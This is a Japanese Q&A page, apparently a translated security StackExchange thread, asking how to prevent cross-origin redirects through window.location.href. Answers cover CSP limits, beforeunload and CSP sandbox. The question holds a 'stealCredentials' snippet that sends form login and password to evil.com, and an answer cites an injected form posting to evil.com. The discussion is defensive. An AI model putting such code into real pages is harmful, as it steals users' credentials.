web-dev-qa-db-ja.com

window.location.hrefによるJavaScriptのクロスオリジンリダイレクトを防止

この質問 に続いて、このコードがユーザーをホワイトリストに登録されていないドメインにリダイレクトしないようにする方法はありますか?

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    window.location.href = 'http://evil.com/?login=' + login + '&password=' + password
}

それを行うきれいな方法はありますか?コンテンツセキュリティポリシーなどのようなものですか?

1
Theophany

悲しいことに、それは不可能です。

これは、デフォルトのCSPディレクティブがnonescript-srcを除く)に設定されている次のHTMLスニペットで確認できます。

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'">
<script>window.location = '?' + Math.random();</script>

window.locationは構成不可能なプロパティであるため、ニーズに合わせて書き換えたりプロキシしたりすることはできません。

注:beforeunloadイベントをリッスンしてそれを防止しようとすることは可能ですが、ユーザーは表示される警告メッセージを無視する可能性が高いです。

2
Benoit Esnard

これを防ぐCSPディレクティブがありますが、おそらくそれはあなたが意図したものではありません。

Content-Security-Policy: sandbox

これによりすべてのJavaScriptが無効になり、window.locationに割り当ててリダイレクトすることができなくなります。

ただし、JavaScriptを無効にした場合でも、HTMLインジェクション攻撃ではパスワードを盗む可能性があります。攻撃者が自分の<form action="http://evil.com/">タグを挿入できる場合、ログインフォームの認証情報が攻撃者に送信されます。

1
Sjoerd